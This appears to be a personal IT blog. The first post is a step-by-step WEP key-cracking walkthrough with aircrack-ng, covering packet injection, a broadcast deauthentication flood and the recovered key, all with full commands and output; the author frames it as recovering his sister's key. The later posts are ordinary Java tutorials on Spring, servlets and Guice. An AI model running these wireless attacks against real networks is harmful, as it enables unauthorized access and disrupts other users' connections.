My IT-blog » Featured

Hacking WEP encryption on Ubuntu

Wim — Mon, 08 Feb 2010 19:34:16 +0000

The information below is not intended to harm other people. Cracking other peoples network is considered illegal in most countries!!
Last day, my sister called me up because she couldn’t connect to her wireless network any more.
She was playing with her network connections and broke everything. She didn’t know the key for her wireless access point and the access point couldn’t be reset because it’s on the attic and we couldn’t reach it.

So I thought I give it a try to hack the access point.
Here are the steps I followed:
First I took a look if my laptop could see the wireless network.
The network I want to crack is wifi9/7

Let’s start cracking the key with the installation of aircrack-ng

sudo apt-get install aircrack-ng

List the adapters

wim@wim-ubuntu:~$ sudo airmon-ng 

Interface	Chipset		Driver

wlan0		Intel 3945ABG	iwl3945 - [phy0]

I have only one wireless card in my laptop (wlan0) so this is obviously the card I have to use.
Next, I have to put my wireless card in monitoring mode

wim@wim-ubuntu:~$ sudo airmon-ng start wlan0

Found 5 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!

PID	Name
899	NetworkManager
906	avahi-daemon
977	avahi-daemon
1113	wpa_supplicant
2744	dhclient
Process with PID 2744 (dhclient) is running on interface wlan0

Interface	Chipset		Driver

wlan0		Intel 3945ABG	iwl3945 - [phy0]
				(monitor mode enabled on mon0)

mon0 is a new interface which I will use for monitoring. If I run the previous command again, mon0 should be listed as interface.

wim@wim-ubuntu:~$ sudo airmon-ng 

Interface	Chipset		Driver

wlan0		Intel 3945ABG	iwl3945 - [phy0]
mon0		Intel 3945ABG	iwl3945 - [phy0]

Next, launch airodump on the new interface to hop all the channels and show the wireless networks that can be found:

wim@wim-ubuntu:~$ sudo airodump-ng mon0            

 CH  2 ][ Elapsed: 24 s ][ 2010-02-08 19:43                                         

 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID                                                                             

 00:21:91:F2:06:D9   -1        0        0    0 123  -1
 00:1D:7E:43:52:33  -48       61       52    2   1  54e  WPA2 CCMP   PSK  cisco
 00:1B:11:6E:78:6D  -79       72        0    0   9  54   WEP  WEP         wifi6-2
 00:24:01:65:97:69  -79       54        0    0   6  54   WEP  WEP         wifi9/7
 00:1D:19:23:BC:57  -84       19       14    0   9  54 . WPA2 CCMP   PSK  GCS
 00:23:EE:CB:5A:61  -87       10        1    0  11  54e  WPA  TKIP   PSK  telenet-039FF
 00:21:91:F3:7D:B6  -88        4        0    0   9  54   WEP  WEP         WIFI 18                                                                           

 BSSID              STATION            PWR   Rate    Lost  Packets  Probes                                                                                   

 00:21:91:F2:06:D9  00:24:2B:8B:4F:81  -83    0 - 1      0       39  baranilew,bbox2-b0c7,default
 00:1D:7E:43:52:33  00:1B:77:D9:A9:52    0   54e-54e     0       49  cisco

The network I like to hack (wifi9/7) is listed. I can see that it is secured by WEP. If the security is WPA, it's a lot harder to crack.

Next, run airodump-ng again, but now, let it look at the channel which is used by the network we will crack. In this case 6

wim@wim-ubuntu:~$ sudo airodump-ng --channel 6 mon0

 CH  6 ][ Elapsed: 16 s ][ 2010-02-08 19:51 ][ fixed channel mon0: 1                       

 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID        

 00:21:91:F2:06:D9   -1   0        0        0    0 133  -1
 00:1D:7E:43:52:33  -34   1       10        1    0   1  54e  WPA2 CCMP   PSK  cisco
 00:24:01:65:97:69  -75  96      117        0    0   6  54   WEP  WEP         wifi9/7      

 BSSID              STATION            PWR   Rate    Lost  Packets  Probes                 

 00:21:91:F2:06:D9  00:24:2B:8B:4F:81  -85    0 - 5      0        7  default
 00:1D:7E:43:52:33  00:1B:77:D9:A9:52    0    1e- 1      0       10  cisco

Just let the previous screen run and open a new consolewindow to run a fake attempt for authentication.
The value after -a is the MAC-address from the network we want to crack, the -e value is the name of the network

wim@wim-ubuntu:~$ sudo aireplay-ng --fakeauth 0 -a 00:24:01:65:97:69 -e wifi9/7 mon0
No source MAC (-h) specified. Using the device MAC (00:1B:77:D9:A9:52)
19:56:24  Waiting for beacon frame (BSSID: 00:24:01:65:97:69) on channel 6

19:56:24  Sending Authentication Request (Open System) [ACK]
19:56:24  Authentication successful
19:56:24  Sending Association Request [ACK]
19:56:24  Association successful   (AID: 1)

The association is successfull. This means the target host doesn’t use MAC filtering. This is good for me, so I don’t have to spoof my MAC address.
Now everything is ready to crack the key.
first, if in your first console the airdump command is still running, close it and start it again with an option to save the output to a file:

wim@wim-ubuntu:~$ sudo airodump-ng --channel 6 -w /home/wim/crackwepwifi -i mon0

 CH  6 ][ Elapsed: 0 s ][ 2010-02-08 20:01                                         

 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID        

 00:24:01:65:97:69  -72 100       29        4    0   6  54   WEP  WEP         wifi9/7      

 BSSID              STATION            PWR   Rate    Lost  Packets  Probes

To actually crack the key, I need a lot of data. In this case, I've only got 4 packets where I need around 100000 so I have to speed things up a little bit by launching aireplay in injection mode in a new console window:

wim@wim-ubuntu:~$ sudo aireplay-ng -3 -b 00:24:01:65:97:69 mon0
No source MAC (-h) specified. Using the device MAC (00:1B:77:D9:A9:52)
20:07:31  Waiting for beacon frame (BSSID: 00:24:01:65:97:69) on channel 6
Saving ARP requests in replay_arp-0208-200731.cap
You should also start airodump-ng to capture replies.
Read 63 packets (got 0 ARP requests and 0 ACKs), sent 0 packets...(0 pps)

Now keep the aireplay-ng and airodump-ng running and run the deauth attack.

wim@wim-ubuntu:~$ sudo aireplay-ng --deauth 0 -a 00:24:01:65:97:69 mon0
20:10:02  Waiting for beacon frame (BSSID: 00:24:01:65:97:69) on channel 6
NB: this attack is more effective when targeting
a connected wireless client (-c ).
20:10:02  Sending DeAuth to broadcast -- BSSID: [00:24:01:65:97:69]
20:10:02  Sending DeAuth to broadcast -- BSSID: [00:24:01:65:97:69]
20:10:03  Sending DeAuth to broadcast -- BSSID: [00:24:01:65:97:69]
20:10:03  Sending DeAuth to broadcast -- BSSID: [00:24:01:65:97:69]

Let everything run. After a few minutes, you should receive ARP requests and the data will start increasing very feast. I’ve noticed, it goes a little bit faster when I tried to connect in Ubuntu with the target network.
When there are enough packets captured, it’s time to crack them.
I’ve opened a new console and used following command where crackwepwifi-02.ivs is the file we entered previously:

wim@wim-ubuntu:~$ sudo aircrack-ng -0 -b 00:24:01:65:97:69 /home/wim/crackwepwifi-02.ivs
Opening /home/wim/crackwepwifi-02.ivs
Attack will be restarted every 5000 captured ivs.
Starting PTW attack with 88000 ivs.
                     KEY FOUND! [ 30:36:34:36:39 ] (ASCII: 06469 )
	Decrypted correctly: 100%

Got it! The key for the network is 06469.
I could connect to it without a problem and made my sister happy again

The lifecycle of a Spring bean

Wim — Thu, 12 Nov 2009 17:30:42 +0000

In this blogpost, I’ll talk and give a few examples of the lifecycle of a bean in a Spring container.
The examples are tested with Spring 3.0RC1 but should work with Spring 2.5+

Xml Attributes

In this first example, I’ll show you how the lifecycle of a bean happens within the xml-configfile.

In the xml-file, we can define an init- and destroy-method to the bean, which will be called automatically by Spring.
Config.xml

Main program
In this case, I’ll use AbstractApplicationContext because this Context has a function to destroy the Context which a normal ApplicationContext doesn’t have.

package a;

import org.springframework.context.support.AbstractApplicationContext;
import org.springframework.context.support.ClassPathXmlApplicationContext;

public class XmlAttributesTest {
    public static void main(String[] args) {
        AbstractApplicationContext ctx = new ClassPathXmlApplicationContext("Config.xml");
        ctx.registerShutdownHook();
        Test test =  ctx.getBean("attributesTest",Test.class);
    }
}

Test.java

package a;

public class Test{

    public Test(){
        System.out.println("We are in the constructor of Test");
    }

    public void initMethod(){
        System.out.println("We are in initMethod of Test");
    }

    public void destroyMethod(){
        System.out.println("We are in destroyMethod of Test");
    }

}

The output will be:

We are in the constructor of Test
We are in initMethod of Test
We are in destroyMethod of Test

It’s also possible to declare default init- and destroy-methods in the xml-file. This is done in the beans-tag:

...

LifeCycles with interfaces

It’s possible to call the lifecyclemethods by implemnting a Spring interface.
It’s very easy to do but I don’t recommend this because when you use the interfaces, your code will be highly coupled to the Spring Framework which isn’t always a good case.
Config.xml
You don’t have to set an init and destroy method in the xml-file

Main program
This is always the same…

package b;

import org.springframework.context.support.AbstractApplicationContext;
import org.springframework.context.support.ClassPathXmlApplicationContext;

public class InterfaceTest {

    public static void main(String[] args) {
        AbstractApplicationContext ctx = new ClassPathXmlApplicationContext("Config.xml");
        ctx.registerShutdownHook();
        Test test =  ctx.getBean("interfacesTest",Test.class);
    }
}

Test.java
We have to implement InitializingBean for init-methods and DisposableBean for destroy-methods

package b;

import org.springframework.beans.factory.DisposableBean;
import org.springframework.beans.factory.InitializingBean;

public class Test implements InitializingBean, DisposableBean {

    public Test(){
        System.out.println("We are in the constructor of Test");
    }

    public void afterPropertiesSet() throws Exception {
        System.out.println("We are in afterPropertiesSet of Test");
    }

    public void destroy() throws Exception {
        System.out.println("We are in destroy of Test");
    }
}

Lifecycle with annotations

Config.xml
Don’t forget to include to enable annotations with the Contextparameters in the xml-file

Main program
Still the same…

package c;

import org.springframework.context.support.AbstractApplicationContext;
import org.springframework.context.support.ClassPathXmlApplicationContext;

public class AnnotationsTest {

    public static void main(String[] args) {
        AbstractApplicationContext ctx = new ClassPathXmlApplicationContext("Config.xml");
        ctx.registerShutdownHook();
        Test test = ctx.getBean("annotationsTest", Test.class);
    }
}

Test.java
We can use the lifecyclemethods with the annotations @PostConstruct for init-methods and @PostDestroy for destroy-methods.

package c;

import javax.annotation.PostConstruct;
import javax.annotation.PreDestroy;

public class Test {

    public Test() {
        System.out.println("We are in the constructor of Test");
    }

    @PostConstruct
    public void start(){
        System.out.println("We are in the start-method of Test");
    }

    @PreDestroy
    public void stop(){
        System.out.println("We are in the stop-method of Test");
    }
}

Putting them all together

It’s possible to use the 3 methods all together
Config.xml

Main program

package d;

import org.springframework.context.support.AbstractApplicationContext;
import org.springframework.context.support.ClassPathXmlApplicationContext;

public class AllTogetherTest {

    public static void main(String[] args) {
        AbstractApplicationContext ctx = new ClassPathXmlApplicationContext("Config.xml");
        ctx.registerShutdownHook();
        Test test = ctx.getBean("allTogether", Test.class);
    }
}

Test.java
We are using interfaces AND annotations.
It’s even possible to use multiple times the same annotation:

package d;

import javax.annotation.PostConstruct;
import javax.annotation.PreDestroy;
import org.springframework.beans.factory.DisposableBean;
import org.springframework.beans.factory.InitializingBean;

public class Test implements DisposableBean,InitializingBean {

    public void destroy() throws Exception {
        System.out.println("DisposableBean-Interface");
    }

    public void afterPropertiesSet() throws Exception {
        System.out.println("InitializingBean-Interface");
    }

    @PostConstruct
    public void start(){
        System.out.println("First PostConstruct");
    }

    @PostConstruct
    public void start2(){
        System.out.println("Second PostConstruct");
    }

    @PostConstruct
    public void start3(){
        System.out.println("Third PostConstruct");
    }

    @PreDestroy
    public void stop(){
        System.out.println("PreDestroy");
    }

    public void initMethod(){
        System.out.println("initMethod");
    }

    public void destroyMethod(){
        System.out.println("destroyMethod");
    }
}

The output is:

Third PostConstruct
Second PostConstruct
First PostConstruct
InitializingBean-Interface
initMethod
PreDestroy
DisposableBean-Interface
destroyMethod

So we can conclude that the annotations are processed first, followed by the interfaces and at last the methods from the xml-file.

servletconfig vs servletcontext

Wim — Thu, 15 Oct 2009 20:15:58 +0000

In this little blogpost, I’ll try to explain the differences between ServletConfig and ServletContext and when you can use them into a Java Web Application.

ServletConfig	ServletContext
Access deploy-time servlet parameters	Access web application parameters
One per servlet	One per web application

ServletConfig

ServletConfig is actually very simple. Like stated above, you can retrieve parameters for the servlet which are set at deployment time.
I’ll explain this with a very simple example.

If you have created a servlet with the name “MyServlet” you can add the following 2 variables into the servlet:

    
         MyServlet
         servlets.MyServlet
         
             variable1
             I'm var1
         
         
             variable2
             I'm var2
         
     
     
         MyServlet
         /MyServlet

You can retrieve variable2 with the following code:

getServletConfig().getInitParameter("variable2");

Retrieve all the variables of the servlet and loop over them:

Enumeration allvars = getServletConfig().getInitParameterNames();
while (allvars.hasMoreElements()) {
     String next = (String) allvars.nextElement();
     out.println(next + " has the value " + getServletConfig().getInitParameter(next));
}

It’s also possible to retrieve the servlets name through getServletconfig

out.println("The name of the servlet is: " + getServletConfig().getServletName());

ServletContext

ServletContext can be used to retrieve application-wide parameters, get serverparameters and store/retrieve/remove application-wide attributes.

It is possible to call the ServletContext right on or through the ServletConfig. Both are the same so you can choose between them.

if (getServletContext().equals(getServletConfig().getServletContext())) {
       out.println("both calls retrieve the same Context");
}

Just like with ServletConfig, you can set parameters in the Deployment Descriptor. They are initialized on compile time. It’s not possible to remove or add them on runtime.


        variable3
        Im var 3

And call them in your servlet just like the ServletConfig parameters:

getServletContext().getInitParameter("variable3")

Unlike ServletConfig, ServletContext can work with attributes. These are parameters or objects which you can set into the servlet and retrieve in every other servlet of your Web Application:

getServletContext().setAttribute("test", "I'm an application-wide String");
..
out.println(getServletContext().getAttribute("test"));
..
getServletContext().removeAttribute("test");

I’ll end this little short tutorial with an example of how you can retrieve serversettings through the Context:

out.println(getServletContext().getContextPath());
out.println(getServletContext().getMajorVersion());
out.println(getServletContext().getRealPath(""));
out.println(getServletContext().getServerInfo());

If there are any more questions, just shoot them

Dependency Injection with Google Guice by example

Wim — Tue, 29 Sep 2009 19:22:20 +0000

In this blogpost, I’ll explain Dependency Injection with Google Guice through a lot of examples. Hope you like it.

Annotation based DI
It’s possible in Guice to inject a class with the help of annotations. In this example, I create a mainclass which creates an order. Inside the order there will be a payment done. There are 2 types of payments (by card or cash) and they will be injected by Guice.
Payment

public interface Payment {
    public void pay();
}

PaymentCash

public class PaymentCashImpl implements Payment {
    public void pay() {
        System.out.println("I'll pay just plain cash");
    }
}

PaymentCard

public class PaymentCardImpl implements Payment{
    public void pay() {
        System.out.println("I'll pay with a credit card");
    }
}

Order

public class Order {

    private Payment payment;

    public Payment getPayment() {
        return payment;
    }

    public void setPayment(Payment payment) {
        this.payment = payment;
    }

    public void finishOrder(){
        this.payment.pay();
    }
}

Main

public class Main {
    public static void main(String[] args) {
        Order order = new Order();
        Payment payment = new PaymentCardImpl();
        order.setPayment(payment);
        order.finishOrder();
    }
}

There isn’t any Dependency injection in the code above. All the classes are highly coupled into each other. So it’s time to do some magic:
Payment
You can tell through the use of annotations which Payment type is the default implemented class

@ImplementedBy(PaymentCardImpl.class)
public interface Payment {
    public void pay();
}

Order
Inject the payment type in the order. What we here say is: Inject the default paymentimplementation, which is set by the @implementedby annotation, into the payment field.

public class Order {
    @Inject
    private Payment payment;
....

Main
Lastly, we have to rewrite the main class. In this example, we get an order which uses the PaymentCard as payment type

public class Main {
    public static void main(String[] args) {
       Injector injector = Guice.createInjector();
        Order order = injector.getInstance(Order.class);
        order.finishOrder();
    }
}

You can run this code. The output should be -I’ll pay with a credit card-. This code is so cool because if we want to switch to payment with cash at a later point, we just have to change the @implementedBy annotation in the interface and we are done.

Injection types
Guice knows different types of injection. The 3 most used are constructor, field and method injection (Examples are based on the above example)
Constructor injection

import com.google.inject.Inject;

public class Order {
    private Payment payment;

    @Inject
    public Order(Payment payment){
        this.payment=payment;
    }
   ...
}

Method injection

import com.google.inject.Inject;

public class Order {
    private Payment payment;

    @Inject
    public void setPayment(Payment payment) {
        this.payment = payment;
    }
   ...
}

Field injection

public class Order {
    @Inject
    private Payment payment;
   ...
}

Module based DI
It’s also possible to use Modules for injecting data. It’s maybe a little more work but I like it because all the configuration is in the same file. You can compare this with the xml-file in Spring applications.
Payment
Remove the @ImplementedBy annotation in the paymentinterface

public interface Payment {
    public void pay();
}

MyModule
Next, create the Module class. It has to implement Module, which has one method: configure.
The code speaks for its self. You say nothing more than bind Payment to PaymentCard.

public class MyModule implements Module {
    public void configure(Binder arg0) {
        arg0.bind(Payment.class).to(PaymentCardImpl.class);
    }
}

Instead of implementing Module, you can also extend AbstractModule. It’s just a matter of choice.

public class MyModule extends AbstractModule {
    public void configure() {
        bind(Payment.class).to(PaymentCardImpl.class);
    }
}

Main
Lastly, we have to put the module into our injector and we are done.

public class Main {
    public static void main(String[] args) {
        MyModule module = new MyModule();
        Injector injector = Guice.createInjector(module);
        Order order = injector.getInstance(Order.class);
        order.finishOrder();
    }
}

The 4 lines in the main class can be written into 1 single line:

public class Main {
    public static void main(String[] args) {
        Guice.createInjector(new MyModule()).getInstance(Order.class).finishOrder();
    }
}

Subclassing
In Guice, it’s easy to subclass an implementation.
Payment

public interface Payment {
    public void pay();
}

PaymentCardImpl

public class PaymentCardImpl implements Payment{
    public void pay() {
        System.out.println("I'll pay with a credit card");
    }
}

PaymentVisaCard
extend payment card with paymentvisacard

public class PaymentVisaCard extends PaymentCardImpl {
    public void pay() {
        System.out.println("I'll pay with a card from Visa");
    }
}

Nothing special in the Main class
Main

public class Main {
    public static void main(String[] args) {
        Guice.createInjector(new MyModule()).getInstance(Payment.class).pay();
    }
}

MyModule
You can specify the hierarchy in the moduleclass

public class MyModule extends AbstractModule {
    @Override
    protected void configure() {
        bind(Payment.class).to(PaymentCardImpl.class);
        bind(PaymentCardImpl.class).to(PaymentVisaCard.class);
    }
}

If you run this code, the Visa Card will be used.
Annotationbindings
It’s also possible to use annotations for injection
Payment
There’s nothing special in the interface and implementations:

public interface Payment {
    public void pay();
}

PaymentCardImpl

public class PaymentCardImpl implements PaymentCashImpl{
    public void pay() {
        System.out.println("I pay with a card");
    }
}

PaymentCashImpl

public class PaymentCashImpl implements Payment {
    public void pay() {
        System.out.println("I pay cash");
    }
}

Next, we have to created the annotations @cash and @Card
Cash

import java.lang.annotation.Retention;
import java.lang.annotation.RetentionPolicy;
import java.lang.annotation.ElementType;
import java.lang.annotation.Target;

import com.google.inject.BindingAnnotation;

@Retention(RetentionPolicy.RUNTIME)
@Target({ElementType.FIELD, ElementType.PARAMETER})
@BindingAnnotation
public @interface Cash { }

Card

import java.lang.annotation.Retention;
import java.lang.annotation.RetentionPolicy;
import java.lang.annotation.ElementType;
import java.lang.annotation.Target;

import com.google.inject.BindingAnnotation;

@Retention(RetentionPolicy.RUNTIME)
@Target({ElementType.FIELD, ElementType.PARAMETER})
@BindingAnnotation
public @interface Card { }

Main

public class Main {
    public static void main(String[] args) {
        Guice.createInjector(new PayModule()).getInstance(Order.class).finishOrder();
    }
}

Module
You have to specify which annotations refers to which implementation in the moduleclass

public class PayModule extends AbstractModule{
    @Override
    protected void configure() {
        bind(Payment.class).annotatedWith(Cash.class).to(PaymentCashImpl.class);
        bind(Payment.class).annotatedWith(Card.class).to(PaymentCardImpl.class);
    }
}

Order
Now you can use the annotation in your code to inject the right class

public class Order {

    @Inject
    private @Card Payment payment;
   ...

If you want to chane Cardpayments to Cashpayments, just change the @Card annotation to @Cash

Namedannotationbindings
You can also use named annotations. This is a Guice annotation where the value is specified inside the moduleclass.
The paymentinterface, the Main and the Cash and Card implementations are the same as the previous example.
Module
Give the annotations a name (“Cash” and “Card”)

public class PayModule extends AbstractModule{
    @Override
    protected void configure() {
        bind(Payment.class).annotatedWith(Names.named("Cash")).to(CashPayment.class);
        bind(Payment.class).annotatedWith(Names.named("Card")).to(CardPayment.class);
    }
}

Main

 * @author wim
 */
public class Main {
    public static void main(String[] args) {
        Injector inj = Guice.createInjector(new PayModule());
        Order order = inj.getInstance(Order.class);
        order.getPaymentCard().pay();

        Guice.createInjector(new PayModule()).getInstance(Order.class).getPaymentCash().pay();
    }
}

Order
Now you can use them in your order

public class Order {

    private Payment paymentCash;
    private Payment paymentCard;

    @Inject
    public void setPaymentCash(@Named("Cash") Payment payment){
        this.paymentCash=payment;
    }

    public Payment getPaymentCash(){
        return paymentCash;
    }

    @Inject
    public void setPaymentCard(@Named("Card") Payment payment){
        this.paymentCard=payment;
    }

    public Payment getPaymentCard(){
        return paymentCard;
    }
}

These annotations are very simple but I don’t recommend them. Guice doesn’t check them on spelling or validity so they are kinda error prone.
Instancebinding
With instancebinding, you can easily give a value to an instance
Module
Give a value to a name inside the module

public class MyModule extends AbstractModule {
    @Override
    protected void configure() {
        bind(String.class)
        .annotatedWith(Names.named("PaymentType"))
        .toInstance("...I'm a Visa Card...");
    }
}

Main

public class Main {
    public static void main(String[] args) {
        String text = Guice.createInjector(new MyModule()).getInstance(Order.class).getText();
        System.out.println(text);
    }
}

Order
Use the annotation. The String text will be injected with “…I’m a Visa Card…”.

public class Order {

    @Named("PaymentType")
    @Inject
    private String text;

    public String getText(){
        return text;
    }
}

Providers
The last example is with the use of providers.
A provider can be used when you have to craete an object. You have to annotate it with the @Provides annotation and the return type is the bound type.
Payment

public interface Payment {
    void pay();
    int getAmount();
}

CashPayment

public class CashPayment implements Payment{

    private int amount;

    public void pay() {
        System.out.println("Inside cashpayment");
    }

    public void setAmount(int amount){
        this.amount=amount;
    }

    public int getAmount(){
        return amount;
    }
}

Main

public class Main {
    public static void main(String[] args) {
        Payment payment = Guice.createInjector(new MyModule()).getInstance(Payment.class);
        payment.pay();
        System.out.println(payment.getAmount());
    }
}

MyModule
Inside the module class, we can construct the class and set the amount of payment.

public class MyModule extends AbstractModule{

    @Override
    protected void configure() {
    }

    @Provides
    Payment providePayment(){
        CashPayment pay = new CashPayment();
        pay.setAmount(100);
        return pay;
    }
}

Conclusion
You can do more with Guice than described above but that’s up to you to find out.
I love Guice!! It’s pretty simple and works very good. You don’t have to use XML to bind your classes and it’s very lightweight. If you just wan’t to use Dependency Injection, Guice is in my opinion the number 1.